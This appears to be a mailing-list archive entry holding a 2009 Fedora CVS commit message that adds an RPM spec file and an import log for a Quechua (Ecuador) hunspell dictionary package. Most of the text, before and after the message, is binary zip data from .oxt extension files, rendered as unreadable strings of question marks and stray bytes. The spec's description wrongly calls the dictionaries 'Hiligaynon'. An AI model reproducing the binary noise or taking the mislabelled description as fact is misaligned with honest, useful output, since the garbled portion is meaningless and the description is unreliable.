??????b???=??~??X???m???
@G*?0?????i ?~?
??V<???^?CZ??_?=???1?????????$R?/?`?uN??x???B?~????hjP???!???
)
?w?W???((g??I????;?/E[????+o???????HL?????S??"$?(}??%?)pqhB?3$????????Y??????0?H??V??r????![??Y???W??X=?????Y??=J\>7?,?Z?q?Va
???,?	M???B????n?S??????????`W???d?la?S'??N????R??Q?:?;u\0=???G??-????O???>?sU?>n/??}??U[8u??}?o?[????4??x????i?dv?'2?Z& w?>??K
"OS?j8?AJ?O?#???????b????dJ??N
????5"??hri]??'4???????R?~D??=Q??re3l0???T???&prT?+???=b?<??S$Y/????mTE?
U5iI????P???6??=??b????E??:???+O?;?-??+g?	v?M??l^H?'O?A{???m(%??
?
??8?????
??^???|\?????y? E?a??0????>?+??&?'???Z?|<+?]?????????R??!%L?a(r???}9???? .?^|?P??A{??F?-N?????'?|???o9?????y/X???}ls?y?T?a?K????D?!?#??"}???'8>??.k?v^?k????U????.???a???????O}{?YuYxid???}??7b}??pn>????PduY?)????#??	?
 ?????u????:?c?y??????,?F-Z?ZN?/?S??=;??=?Y??6]???O???????g?\??K????D???>????)+?q??????@?W??B6??[\?D54?#?K-]vX??*?,??#????/?1?W???Wd?tI?E??????
)???l=?E???2?{?.I?????E????.?S?????L?)?-,,Y???1??w???l?????mF??????/?i?J???Xp??A? X9??+?? 
?
k6+???$Y?$???F???J?o8?m??L??"?=???? ?7???k?C)????4;??r?6_??&??????A'4???@?"L?]?l?R?hR?5???6??p@?P?2??}??????EF?
??a???????'??????u-???>?????}???R;~P?i?2.n?????$???[n???????e??W?7??>>???D??Yo?kT???C[?W??
"*0?????G?!?{??????L?1?
??t????????f???v[i?h?_???6?1<?`?9
R?^?q??5?????A??0?x???D?`???T???vT??a?K???R????????0z????????m?W?c
?,@??gnnU#?=??-e??@d???[M8?b?)=?y!?&?I}??]???????m?^???Vl?Co??7???=?6Si?{5&u??5??????????-9&?????????#?? H?Lu???W??!FF?J?!??uu??Ds?1? ?V????????????5X??????
?Yf#5?q?+?4?(?{??????(?i?x??l??????7?sJJ??????gC??y[9??V?h????e?\??&?A&s?~?p??p??(?d^?e^7???ke*?'? fb???]h5r????L????`i???>????J?Q?'??7???0M]^8??
???T?????~?`?q4?
=bpZLj?@N??a?4????\fH???e?~;.q%??]??e;?/ya5?_?{????????^"L???Q?
??e??a???????*?g@#??Dhq??4?????_r"j???a_G???3W??k??????4???MW???9??=?=?6/?????$?>???n???y2?vCm?af???mY??????m?V?F??1???
Yf,??
$B??b?;J????~????w?d*?|J???
?Z?i?N?{o????{?_???b?&???3????s?{	a?r?7?(?e????eb?qj:~?A?/.?7-g??W??????:?B??;u>?b?'???]mM?Y1"?????X?>?I??g#Xk-??#a?p??`??:~gh
IT $QA??Z)0l=?o?M??????i?*^U???<??Y~??>??:?9????@?x+y ????]6?X<?Ij??t?h???U????;?+?W???I???p&K??>1Xz?3??m???????Dr=?&???
c?n<x7?_?T?z?xJ??y?4??9??4??d
E?5??
P3I?E?,?l????"???????3?NU?
??????a??qO???????K'??z
K?r?6?=?l??M??S+%??158???P8??"????&?JKVT???#???x %??(???T?????5E?????P??'s?VbI"?????3??tKS? ??????????q?????????}?N?;d??x?0?<?B?D?^?$,?Ds?$?u????z'?r}o???????R3u?1?&????
KR
X??Jh?+????o???1 at p?????
??????i?$???ju????C????Ib?n;????m
?J??+M]]9??3??Y#??+??xUFE????
&????r?M??????"?o
????Q7?b??????;?
?a?$?j%4??Z?{;??Fr?5|?V3?W?Y??!?+?$?????1>9?????L?K?B?Y?]"*??!N????..MZ at l?4?h?U?
?[??a?Ui?*U?5?y???Q?4?h?z???{eT?h?Bp???4?K%kZ*?????%I???????'?A%?*M?LI???e???tl??D???/??O?
#??p<?]??l???DY???$???N:???vXPpZ??	T???r?n?w?J?????m?a??
/u?o??a?bL????.N??Nkh
?z?????952oD8{?W????PC?p?}??'?b%
?? A?%???`????q??oNRh<Ro???'?4$
???q??,utS?????-s{I??ah}?[.??[??N1>?!???ZKN?{@uZ )?E?l???z???Q)4sp???_?Ob??r??????}rB???/???+q?Oh?????G??
?????\D?I?92sM?9?|??<??Z/
?
5*Q???r?K?Fnc+?K???j??{?g???<??C??????0?l??G??G\?????@??
_ ?-8_??????[????rIBq?Oc??q????J??s?M??d^Pm??S}???4??,qw?(?1u??0_I"y???!oy?Nsagl??>?????=??U?sw?2p??k@#?5[??t???U?|?#5???????????????W????*??\[?cwk
??#??????K?{?/?VR??????
^?????ao	(???y????I?lX?g?b?&WBA????3? ?+p??s?#?e?K?/?`?*u?=?^??<?\F_?'?J??pr???4s??.NU?j;Zt?????p{??pF	??j
???)?r1??SX0?R?Eic?+?*?
("?*?U???n???????B7"?7&??-??=????a~
??#h??
?y???
?
?Qy??'?j{r?}?y?}??`?r????<

no? @??[?? p?]??T?u?????.?v?s??8???py?gw?cs?f?*p??J??B3?????v?+??!??BU??"?????[v??NT??@?????$?"??]U?)u?2?*??D?{???`?}?!?|??aT?|Gb%????p??&?g?$
??`??1?9?JgM??3??1ad???0?M(	??^??A?(?DI???j?Pp???=,????)??oX9BB??`?G???7????dlc?????N5.,T?W???Qt?????'??s??6?!?y?^??W<???3????V??&)B??9??
))E6??Nhu????5T?
QN
=e???????n???%????9K?????-??????iW??O?t.O?6?g?^?J???~YO???):????7,??s?H?X???
?b??K??>)?? 49???\^?3?"????J ?
w??l9???T?Y
??????E?Y??
?????x????)???P&<<????e?cA??????r??N??????<s?y?1???@???}TpV??Q0????[?vd+?`H?c???
}????7?#?i]???i????
?@??^@?i???er?~CWZ"???	\|?%??P??{?????v??g?????Jj???b;,?????Lp&?????\50?r:g???
J??0?wjWT???v^????,2u.????A??9?H5^J?0?5X(?v>4????&?[#}@&G?F?L)?W4"??D|?!?=x??????????%g???)???|Y?gk?[??QK????!?-???????
?o?c??X?????ak(?;??y?????zC'??\_??L??9?c=\??/S?S^-??g9??IZ??????^?5??d?&??2k??b:???r{?tN*?%V?I??????.?? ??3??c??H??_2?????@k?HV??=x?b?ZZ%???&PI??l?????C?r{O??????Q?B????y??{?c+>??/A
K;i&????pj^x?T??d,????????q?Ss??+d?????=?#7{G
?
]???s?
?????[W??p???e??P???8???~??pg??????(??P???(2??o?1????????????????M
VlW|B?R?(LT??\<??t?b?????]??v??P9?????3P?A?K?????	!2?Th
?v?p?? H??>\??0????-
bb??s??O^?0?????)?G??+???!w1?n
?oSdj???#4W?dG?
???+c?*:i?'j?0?>???%1?t?s??
?rQ?}??<f.?=h
a?>?jjLf7\[????)}?X?z?Y2???X??\Q)>	1>???h*?8?W?p????j????s?>????Kg?O??{??Ba???5?k????HW%?6?N?- J
?TL?s?e
?!
?!???IO?\?JE??X\?6?g;????*????????(C?*4?9??*???
??zG???BfI?s?vu??[(
?%?YO[?&????e??#?KI
!T5?T:a????m????J?Zg7F??B??????er??xj	???rm???:GgX?????M???QB????=?@?L?:7?K??%?`-?N????im?dr*?_=???Z?@T?v(Y7#?l?&??i9x3-]?(d?p??ys????d?? ?b??d?;a-!d???,&z??>??n?O???????????\M?n?>P^<[???:?V??\?KJ2??y?????-?=)2????Y?q?U?56~?u????>[?b??e;vW<p???Yu^c?!?F1??O!fk?l?
??*(?!???J<+??f(?+?\????-??;???i?sD???c?*?#????C?L.?
M
1????????5,x??????????????xg+? ? b???0?2?O?l?y?]h?+a&}ZL?d
K?b?O:??y????????[??TWa?@?T????/???4?XY?U????)MG9t???f???t/?H=-???X???je{;?@u??J??5?d?e????b???
?N?e	?:)?-?~?,?MPV%m?????S???Hh???I
?3?4??a????m?X?T#p|???1?]#? ?6?M[??G?T?x??
???????q?,1EO???Z?d??lvXw?6I??;j??Z????`?bBE7?7Y$??&??V9???[????=???"{?V?NR??W?{w?[y?}?LV)D??????AU?????????(/????d?????????X?eH?!?7????8???S?"??????$?'??BHGX?<?:?8X*?&?D)$1??8??xX??u??8?7?!^?@%??Ad??k????n??pO?I?????<?O;Jwi5?#??G??UM?:k????1??]:*?4S6l2??/?K??Q?~/??:????c-??E7
?L??v:}?_e??L?L??t?t?P(?4?\?O????yt?L?0???YA=
r
???5??# ????k[o??tY????-z?
Y???x?9?{E?FAW?G2??Q?????PK$???w???????Z?)??t??U???H???g??w?
1^?%	?????~B?'??4;?$??[?i????P??U????'?$2MML?b:???CDQ??4?s}?4??????????eA?vg??/???B?_;E??4/|v2?c???A
?????04w??uXb%
??u??Fa^r?0??? y???`p????M?"r
???????s???K[??7?0??K?q?8??w??t?0??6?im??E???	~`h?.?4?M
????`a???/?
m????Y????V?hX?l\p$?n^??<???dt?W?????l?X?2????????;s??+??
?v?l????=w<??y???<?????????^C???L??r???I???O??????_?"??-%q????19Q?4?|??iK0[?
?4??????]??Ae?kH>?]????8l??V??????E?nMS??r?Zm???2?Y???lmKE?y3??rtau?\??~9|n??h"%O?????z;V2]???,??Y??{????????vz?9?W?	?k W?_?;B*????Et???S?P?@
?9I??^HS?[$?d?2?????x??.)??????<???*?Z
?S?2??[N?`????$@??W?:???F?
??$k???d''sZ??Dx???\m?`Qg???`???+??x??rJ?+?!??5???;6:???3??5E??by??^??????lO$\?8?B?r??z??=??5Y?U([?k[???{j v??E&????O?b?????:/>??4-&?????$Zxw?-??j?+?>?Z?<i?8K/L6+v???p?%?r`J?z??=??_"*????yKn????????=<???XI?wm?,e~?	??jh????O?_???b??V???c?
???w?;???1C;h?ks????DU0?ovG??_???B????"Aep5??	>?D|}??\??U?????o???V?+???p??
6?0V^??&
?5?}?r??
-~??km??Ly?????+???Oh???0|???
-f???&?+'.+?U?????2?/?[??????????c}?H???N??Sc???
M&??|3I;?B?????+?K??f??n?x+?? ?xz?????5???GM??1????hj?????????????\N??????z?3?u??}????.3.B?&??0,
?WX???P???u<???????6??????L?7j?6W?a@???Y?*???????o]?:Y??'?O_1_?/?v?OB?3?k?[?"???8??Q?qj?u?"????` ?? ?M??????#??
???????|??O<*???j???OVB!L2?(??*?.d?N?Tg????? V at m?Y?x
z6.I{D??/>?Nfq?"@
"??W???At?
?????`??!????T???????X?
8*"?g???5?_?(Y?????~Z__?U????cx?j????<?????NXE5G?f5W9?c2???AT??:??Kxj8'?1?W?0??UC?\?)??"????????_y??4Uq@??:?R?zt???S6p?F???[?W/????%=?!???/?????s?<R?<?
;QB?>?M??????????????/??$???0M~O???T??????xS???p??8??CYZb??
??,???"M????po?o0!??p??&5??a
?X??g?gB?????v???\am????h?t??1e??[j?~?p?V??=E??;?e5/??v
??2?4??c0?=??^?n6???j7????BY? ??S?C_??on???????\Pn?XL?d?1% ?????0
?pph????],???????_??6'`???Z???#&???6f??n?m??????8VJ????S??dQ~??J	??????????????`
??l~???????????D6????B???y?D?O?~?G;??!????O&?B????Q????I=67??.8r
?$??????????Q?
??h????W????<vGZ?G-??HXL?Ji6?
P?X?Fdc?P?????8????T??O5?v?b?VVp?&?h7%?????4??5??T??Q}?,?5W?5????]o??
^]?M?o???[????m??
c|hE?:0??[8?R
????XM???p
?}?????????????p?????????m?
????Fe??????5???
&??|??????????k????????r?N?k??#
Ij?????+Dd??k??s???%??|??7
F/+q?????????7?????}????????[???7_"?2??\??^@

??????m?t???=????v??^?????? ?????n??`???c?@5$?P???9?X-??\f??Z???)^^?[cj???k7f^d?+???5?????T??h? lC?_??B?L?Q??E?a?????r???>DY!??????X1f?f"T#??U????????(??4????I(r?fJ??Q?????$e???4N??Bui???n7??_???
m	?77}????'?????p?D?m?2$??
?w??/z?N?N??5p???A?r8???u?D?_?W?y?-2f%H??J9?1?K+;???h??5??}?3??W???:?!V???Qj??
???qPf??	L??????o?~v?24????????n4?$?n???hz??3?/??%x.?Nf])?U!??k?u
??MU#?E}N??>?#?R??
?5.???K??DR??\
aJ@?????;
C??.???xm??>?@?>???[J'*(#?lA_2??
/ ??4?'??GP/????T?(:?l???l??????
?h1?`????_?7m??<?;??hu_?g?H??r?_???~y????{q?Qg?@??U??/&?m\??z?+R??1?????=Q2?oM?9L?]????!C->;?
?o?????~$}f??u?????'??W??du2???a?8?x0N??%lW??\N???0U>?
????????@??u?-????#??0??L?L??(?!
?????????
8?"b? ?r??B????H3,??IVh???8?D??????D?a?[?"??????S|0??7X
P?Y!(???y	VRUg?"?Y???????#??]P^8u??y&?8Cq????????q????i_="?.w
?#,????P?TQ+?K???~???P6??Y?_DS?hz?q=]{!_hq2%??????Kuy???r?d?Tb?B?@?H?z?25lD6??????hL-???u?9??Pi&N??
??j????2?<`?n??9????v
T?@??b0!?e?x??+=F??a
??1????u??d??6?????1	Y?j???@}?6???F??|?7W{??
PK

?0D??)<
?0??U??h??T???62
????k?!????M?`??????z`?G?cV*?\,??y?&???H??f?j?:?0]'???Qb????PK
?0?T? ????c???A??#?D+y????o?1s?E?g	?????M??~Kv?N&/?<u???????????b??a?wt????c??	?f??5????.8?PK

<???????????T*??s?????%l??9??S????<???0??J at U?Z(????
O?Z?RUr?<It??S"????9??.???????
XY???A?vK4o
???[???h-? V?q?[???Y$???4??2 <?O ????2?????J,OQ9M?k?y-??Q@?
?6??????]???????}???`???????7???c6?-?jK?????7eN?[v,????5l?3???@'?yd
^?nd?h[??O}??
&??H?????wp	C8???n0??????B???S??t??l.???|>_%?r?C	?VN??O ?
??Y:?E??#??lw???????5d?H?oPK


P?z?u?&?*??Ua ?&??.S_???????sl??????+[??e?.\??]?z?r????b??/i?b??????&YV??e??????%?y??
??%;?+???p?e??'~???x&
????^?@w^??}?ba???If?9?6?z????????K????@[??mE?L???{??!:}??h??8??????-????C7?????.i6??l??O?3X??%???w>?`??I??-?Mi?e?R&??.h??Z??6??ij/?I??b???S?9?????}??	??w?'???r??a?sQ?E??YwVha?+?,?>)???????u?7b35??GDP?V?,?4`???G*i?%??
?S????E?T?f????#??LG,??>{??S??&6'0?[?tEK????/z?V8?????H].h?%S2?^L?2?C?,?}J???v??C?,h\??Hns?&??_??????[????5=?>{????O+???r??y?J?"^??8? %??<?1O??J????r?t?DV"?I??7yT?TJ???(o??L?????YR??WV	?7?x???,?RuC??p??h??Q????tE??????k??fxI?8???k???WkGVg??*????+??x?n?%U??v?X*s???\`??Y???X????d??kT-R/<5??a?
T?????xg?
A?\?*
??JKDC6??i	?!?z?L+??????$Jv??4?/?????I???)?J<??0s/0sx???F?^,a??G!c?S=?<8D?p	I??'???V%c??D??????f?A?&??>??(????/)?xK>]'?@??A?a?Sv??}?h?y????D?Qo?c
?*2???(?t???H?<?z?C?D1?@d?p(-?e?28??t???
G?????8??????l??Mb?D$Uk 
Dn??hO??B??????0?#????H?????c)'F?
?@??????I?H?e??.k"?sv$?Ig`??u??[??u???0??????iB'H] fV??&Y????%J!X???7j)????N?yy?L|o?K????????T???5iM2????/?u#??0?*?1??
h????????7??a|3???S{?0??G?O={3??&??'z?/~~???????c?q?1??????
???7u?!5o???m????N?^g]d[|?S`?
??[??4u~??
%G}?????w?????a????Q!:Q?n*y?G?'b??sX?l??u)9zBk?? 5}???^???8K?~?N??????6????v[???%zF	h2:
??Xc|??Mh^??????L???b??#??
,?5???YM???(jRu
?=\?\???d??B?z
Ppg?3?J?;?P?>:|2?.?.?p?fiC?0?l??tYE??????$+ ]?m??U#%It?*???]?<?#S?c???$?n??$
??z:s??"?E1???????????w????<?0?c?g3???F?aq#??t?=
???1?d??u?????P2??}0?v{D/????DI??Ea?g????E?,??K?@?U?I?\???X???[U????W??C????#+??dKO???:X7?
?????,?l??i?7g~????????y	ut?=???5?;F???r????Ht?????B[cZ.?UH?N!??????????@?C?V?.?2??
???????6J	??????*)?/LA???G2FLs%?*L???$o?y!?K???$
???]y??B?1?
r?>R???>??AJ,
?????b????
8???+?7???_3
??i?hD??PpT0S???8????!yKh??H?~???R*?7?
	?W???????AXx?+?s<
??????q????'??????2X???4'???RV???Y@???P'?L??gIZr?g?b?g+??s??)??T;B??}??C??6^>o?O?F?(+_J???i=?a.?W??i??Z?"1????"?M9?%j?i??????????!&Z
r?????w?-C7??.??MjJ??6iAb??????b??zL !?w?4O??Ji??/~?L??N??mB?"?R-?1???x?%1phO?S?A???t?v?oK?,?;8Ol.??????8??qk???4?6????v??????Cr?h-a???????\NH??L??'7~?'4?Q???~?+ at 7?1?????%p???0??VFQ{??u?.??Wh!Z? Vd
???2+:?3X???iF??6?Y?J??6|e	??5?{h_??Fy1<??{sVv?$?(?/?????/??f??)?(???E?`???2?IH?5????.?5-(aDQIy??[*?r???>x??P+??KP?me??1,Nnzwr??T?FQRS?4?QII?????Lc??????#??V?X13B???K
"
al9,%?n??R????3q,Y? ud??YD??8?$??V{)?O?$:??9:k???9>ab?pj`?P?/E?nWz??'C????w>d???$$e%w???<??P?%oM?^?????:?-5??;??q?????J??Z^<Yb???u??????t;2??R????a?????????2?s?K_?(U?q?O?????U<??g@???!k??.?>?11?n%1???`???*?e???0???)E`????.?[??6??-???M???U
?(^Z?<C???5?\Z??T?
?Y
s?????H3YHw?u??%T
?1 A?6n=?E?4?3??7[??HO?mb?.??I?6????2o??O?y\?/?{??z?tSg0S'?"i_ ??(?l????6????,??}???@????b??=???%%A???LQg??d>???Y??=?D?????????gp????
?%????3?h??	Y$?
?C?????
?$e
????)?2|?LK??H(?x]??	g{V?)?????y??Ms?9??^?
?8F/J??r?VDN??r?????qt?
#?7?v2??[{}7?|?????????
?h
????k6???p?y4?a??g;x|???????|7???>??????<??_G?g:????:?F?O? M?NF??f????f8?Q??;h??h85?????{???d?????????!?7????7=;?B?=N?S??`??gP<??????????????a>?d?s???	???A?7???o<\??G????oG?1?????P~?t??!?&??!?o??X???????Q???i?,?b????5jO?t\???DQ????Lx?5?7????l?????f??y?????A??v<??????'_F??3>F`?
HO&???X|??>	Z2?B:?4???N??|?y?h?1?m#fFr7_G??$?/??????F???Y???U=@f3???
(E???????1Y ?B"?||N{?Q?Z'?{v?8???9T???????DR???@?t4?C? ??8??????v?=?#?????a???2??????????????i??7?P3}????,C?ekMn?=1???`t?49?1??
r?X?q5+???
????j?N?i?|???2?@?HV?&?Hb??6%TJ?????<2??!(?L7Hl???TR??]m:??x.???lU%?oj?Q3???!?N?|????????2??q???h?????5Q?|"????n?
+`w?(?4??Z???k.?0??~??g
8???he?'@<??S||?ZZ|???:???#~??a\ b?;`5jO??s?+????$Q?Z????Z?k??1?_?/AA?1?/?/g??????/???)?m????du|????v*?w`c3?w'??(?y???m??*??	??C???????Y??Fz*?s?\0+??'?"?gBl'??es?B??\??x\0?sg??a??Qz?XOLs??D?????fy=:??c?n?(:C"??u?d?Vz?-//)????N???????e~??BCKT$?gD??&N?G??%?eG?je??Lr??/??????L?????Jbe??f?7??????'/7*:s?0"??T?r`?W
?A???So????m???^ ????????=???s?/Y+T!l?????/?????????????e??u?A?
z??)???2?n?.&?/s+????<?r???>???Z58\???,???'??=??????v?n{?q???A7?#M?Ct??(iz?I???
??l
,?~

?q]c??s??=?r??}?J_????7H??<?G7???R???y????"??W^X??]O|&??\????L????\{?????H?29???rY?N????f<B?????]??bW,w?SK???|?l$?A-
l!?Q?	??X????????????V?Th
?_455l?w???%?o?d'?7?#?{?????V??????2??? !?"z?wu?4???
???	???Y?o??8Hb?rq?D?`??o?i???+J?E[??&g3/?IS?1a8?og???h??G???G?????o?R?.jH????h?????g??s???8,m?PK






















From caolanm at fedoraproject.org  Thu Oct 15 22:04:56 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 15 Oct 2009 22:04:56 +0000 (UTC)
Subject: rpms/hunspell-qu/devel hunspell-qu.spec, NONE, 1.1 import.log, NONE,
	1.1 qu_EC.oxt, NONE, 1.1
Message-ID: <20091015220456.BD67B11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/hunspell-qu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2230/devel

Added Files:
	hunspell-qu.spec import.log qu_EC.oxt 
Log Message:



--- NEW FILE hunspell-qu.spec ---
Name: hunspell-qu
Summary: Quechua Ecuador hunspell dictionaries
Version: 0.4
Release: 1%{?dist}
Group: Applications/Text
Source: http://extensions.services.openoffice.org/files/2121/3/qu_EC.oxt
URL: http://extensions.services.openoffice.org/project/KichwaSpellchecker
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
License: AGPLv3
BuildArch: noarch

Requires: hunspell

%description
Hiligaynon hunspell dictionaries.

%prep
%setup -q -c

%build

%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT/%{_datadir}/myspell
cp -p qu_EC.aff qu_EC.dic $RPM_BUILD_ROOT/%{_datadir}/myspell

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc CURRENTVERSION.txt LICENSE.txt README.txt REVISION.txt   
%{_datadir}/myspell/*

%changelog
* Wed Oct 14 2009 Caolan McNamara <caolanm at redhat.com> - 0.4-1
- initial version


--- NEW FILE import.log ---
hunspell-qu-0_4-1_fc11:HEAD:hunspell-qu-0.4-1.fc11.src.rpm:1255644159


--- NEW FILE qu_EC.oxt ---
PK
P?a??N
?QYF??????
??
????>4??????A????K??s??cR
???,??ZVaSM??????)?????Z[??????
?m0????qM<?A"???tE?m??,??3'?????9?7???{?s?IL???-a????psE> {???+R??<????"???	??|?Zy?2?9_????i??????u?u?1??4?B?????l2&???}?l?N??C???_????x??xH??J?E?????7?.<???0????Z???4?????x?"?O1?;Rj???>?????	???]HM??8???
PK

PK
IA??]E?~??#?E?$e???)z?R???F?E?????p??m?h?G?5\e+ h????????~??r??%?????$?	?bt??Cc?J	??????????V7pDn?a'p??y>t]?u?#?j?^?1?b? ??O
?=?-???a?Y??+?&?J?)N???6???>????WK??'?	??V!z>X._????????	H??"?y(??F ?u?c??:?c?????c"?1?{??<V|?~|???b?h>?
?|7x?Ya?^?T?.??R??????d??4?|Tb?q???&R????C????????lM?VkRYO?do1@???5?%?????W~?1??????R4&??e?\???JL;??B(sKO)?tZ]?&?????]Jn??!d??W?s??A>??r??PK
?#?X??????^U?[??o?0?[?d?????Bc?48mO%?$5	#s{
W???	?Y?B?????D??	??C3N??
???? ,??Q:?c?GLM	???(#?Z~J!k?\?hC(dB4??Lp"0??J?????b??li8l??>?
??(?(??\Q???$s@?HRz1Bz?I1?$
|JJA?PgD?X?|?A??)-?8???OHHD??E???)?Q?T&
Dh.on??T
??~??O?1???|??>??
j@?%??T???dd
JmQ9C????G??b?W????X?
?7?N???@?v??
[.V5??b???M ?PMX??2<`?z?9??????O>??i??H,?????V????n???A??W?B'.t
?????x^?e?????/?a?w??1,?e????V*??\?$
?DL?]?B#??????????F?V+{Bc]?? ?|?f??([?.?#???4?2?-Og&d`ZS$?%???4h?uc8j
?2?????&y?s?????4?E?/K??-???;"?Ngt?ow??3O'3?K????s??tG?X9????iV[?Z?D??N??N907l????M?)?????{?9????????????/?]a???+????U?{??1?????????y??2l_?A?:??S/v?????Y????'???%???^?????+?d}???P?d??????n??=6~[??>+?`????:w?.Y?P??W??'p?B????c????E??}???D?$'&:????H???9?\????Cl?N??C?A?W_??[6x?e
"I???yw5?WX^Q?

?
&]???p?f{?A?????u?? ?4#;?1??
?z??????;l?:4 ?:????]?5??x???f????w?D;i???\P\?a??Xo?w???
[}???-??;???'????tv?s??:|?$?jK`?*???jF|??8mL	?%V?wg?????D?????9T?I
??c?v?vd?C?n???\?Z.?
u??n??A????r?|?5?G-?}(????????t*???????????n????_PK
bV??\Ha?~??/@??e]I?$g?O?>??X{????????????}~=??]???????????#/????+???8???n??'?]???????c/???-7?=?<?_??????Y?????m3???a??]????M??~???u??h???~3v???}S{[vv??m????}cW??uua????r9????KXo?,}gl????????;o?f5l}?O-<oWW????-{\?nz???y???9ud????n??<>?????????????u????????ayg?p?)
^?u?Z7??'x???
???f??P????5?????h?{\?v??Y??B?$?u??6]o???k??G?F?U?@????????}3?t???"??FW?K?-ra??=?]???????#??+???c?qp????x?s?`??????0?c??/_?B[??????+?)\.^?)?????P?q?
?/?}?u????)?	_n=K???	?S$@?k?p???o;%?m?q=??l??4?y?(???3?P??d	+lm??%?????4l
gX??	_?.Y
???}L?????Q?x.?>w %?	?-@??re?@p??)??iLY??v??C&x??}??
???7?? ?
yY@????T|Sx?e3?F??	}??q????o??
?t???8??p+`??Q???	?Z<@Vy??^?L??}?,u??^A?djn?????????(????E?0Z?WpA??=??i?_???H?t?BEJ"??9 ??v?k?n??1??

^???2?A???X???n?8yp?7V"??rSa??[$0??k?3????
8?(k?-?VP'?_?Q?.???0?????\???????9??[???>6??'@eg??m2???
??`???u??????Ed*??k?#?#?UV????(Z??????
YX#???????U????????????]???7?o???{|???A??????C?&l??????y?`nO at bw`x???eU??P?g??n?#Y?F?Mdc???oK???B????s
??&$???????
?#
?fX9?!?O?????T??Unp?????|?<??K?@?????,m??q]?4?6???G????#?P=PGv&??6??E??ho?qP???[{Q?l??O??fT??}?<o@?X;P???]?? 4f;<V[?U]?Y}???
?Cm
??G???!??x?%???5?d?T?*7k???q?/v.w????j?????Kb+@??z?E????[?f???T??3!X????B).??C?:m*`;??UZ????Y?
C?
?
?R	Z?/&DU?
??????3q??
?? ????L?S???2eVb??G?t??/O???U7?K??tQ?	?????*?B?_O???????+Y?JW?NW(??`3?!k6??????:?l
?????	uj?3???WZ|??m
???Wh?z?;r??;?er??K?6<6IV/?D???}??|U.[?Bm??Q?r4#?G???j?n?????Nl*/???y?v?H??b at .????[}v?,????$\??j?/d?S?R4	`z?$??/???j???b???C
E??%?OB<
Oq?.?xxx??9+???????,?s?
'?Q4?I#B|T&x?'??]O!
?6<??#??,$????????t???+!?R??
?W????p???1???T
?)?j?%1:
?@?L??s??+M|9gK?N?	??C???c?h??O????uY?U?5+?????&?Qb??vN?1sq??
C??vz?A????<??`?k??m[?l`??7
;-j?1]?H?&	a??[?kPF??_??)?nu`5`??B?C]????C?*[?>qN?i
??oE?g?)E?V???	8?9T,+q(??@%?Ty?]_??'?-?v?<?s???????`????M?f??'W?~?"J???'???&????L	1?	?S????T????a?:??i?	T_??????, ???A*?7a?
???A
????%???$??p?qO???????QTCQ??
p?D??*%qP??d,+???\??X??QB????
???jK??DC0??8?$???m???!??
9?4#G???Cu?7?bX?.h?7?ZO???W?(1???DeJ?Lg??"6??B?vbu?9F?8C+?c?"(???vIa}??M?co?^?I??g?_??j???~?BGA?]??>?Q0prvZ{O??DY?D???!u??{??E?	@9f?:??	?/P?`J
W???'v???a?"zf??^^?OhN??W???Mvy?J?D?????-??G?i???
7uS5??L??t???8J?B??v=T??+?8??p?<??a?^?
????IG?z??+???????7?*?x?????<e4?N?X%%U??"F?*Cl?Z]??????H*??r?I[????Jj.?<
 ?e	:d?M?3???<d?9??U?
?,P?lmW%???#???55?`??Y?U!??U??-??2???,Rd6V>

sY[??E?.7??J?0E???gN~?*'/?"n$??)??Nr??&a?Jw:??lZ?Nb???-N????9`l???b?a?+?$W????&??0???^s????v*3tH??+
D???t??I??6????y?R!?(???]VT?*_ 7Be???,??
?'Q??a?Q0?p{@???F	???#?m?Yg1>?<q?F??R???2???C}??V?-???g?:/?$W???
?Y??j??.R????????Z??{?V????gk?0??/X#?????m?k?$??????{+?I?L,qP#?	L?`C?L?????n/??d2?x?/!?_????O/'P?@$v?????8=?A????!%?]????j
v?86?y???<?MT ??g?D<]2??
?NO?3W?1{?BT!?3??< y?h????9????,???
??+?|'??rt?J??V ???0?`??"9e?h?g?<^??2<?]@?]?f<??d0?;*?9??Tx???f?<4?B?B}P?2b??CJ?ls?y??p???5?w??/??%????B??b??A??????TT??;?	?s???Phl?
?????\?d?Cev?	??????"?]??@??(	>&
????d????M?????p?W(#"]U???>
Kh?x ??dq???C?8j?7?G
???B?W??`?4???3

??':U?/?n??I*?o-JY,???????"m?|???)V?l?V*??g?g???+??*p	?R8DA?:l??D7?/%?9??D?x?i??g?aT?t?*????dc_?
??&9*?o(#???2*%????E?0L???P??Ks(??????? ??%??`w??b?%??Q??bU?????qZ/??YK#??)vcmPb??Vzj?	ILV?N?J8Q*F?it???i??????Nt\0???j??
{??.5?AS?????faG?~K??????*??????J\???5??w???[x?R??????Y??]?
'?;??????Bh??S???t????a?
?B?YL5Dw? ???????l)????N??B????e?r????H???="?vB?????F?	xh???VK?????9 at O???[????3???_x
?<o|}??BA??u(??tf???s1i+?1u??G7X???Bt????K?P`??
????cU?[?M??I??Wx????{Vk?ri??(?pg?b"??ht?
`?Z?%?bG5?????pN|W?]=G?$???
D?6#?jL?P??R? ?a??;?y??
?I?????v????7H?R/}???3?Y????
??z??s?O?U?????9??$%?&-?????;??i?5#???ub??????4i?z??j1??TN8q????	??H?????|k?zZC??????)?IFz????6???`A?*<?I????<??X
?????dA?????1???s+
??m#?2???|???E	?|0??h3??8;A%?<????]?5???N?Q??????Uz_??d?X?	?QN?P?J?X?"?1?9??????:????G?>?nR???5R'??????{?T???M7R?u,
?????~??!?.?e?}??g???D??3??uI?0?af????p9r?????|DU??k????-????vt?GW??F??+F&&[??FUu-83x<?c???[?5|???????K????}?)?a?{[geu?$T??I?( ??x?t????3??]?T??3?X ?>`C???M?$V??]+??}??hN.:?nh6??
v	?G?X??????&??1<
??????M(%??.???????`W??
???ys?,??????D?-z?/?S??&c?|&,h???86	?[[?????K??1??2?y??O?i??byf?85?mT??
?xOR?s
?4FA???{
??f?)??
?$?p@??	fy?\G!'?,????A?#3????;(?J??s?T
*)Y??pl?M
???
3JP??j?G'?W?1
??o???5?#???G#qd??????`@e??1(???b4P?, ???v??nFv??vOM)~&???]V?????y*??i???>?r?
?9???-?m2???C???02????????}?D??nM???y?$T=6
:I???,??g?1[%?	?????r??3???X?$?h?-?????3cpc??j?c\5????F*>
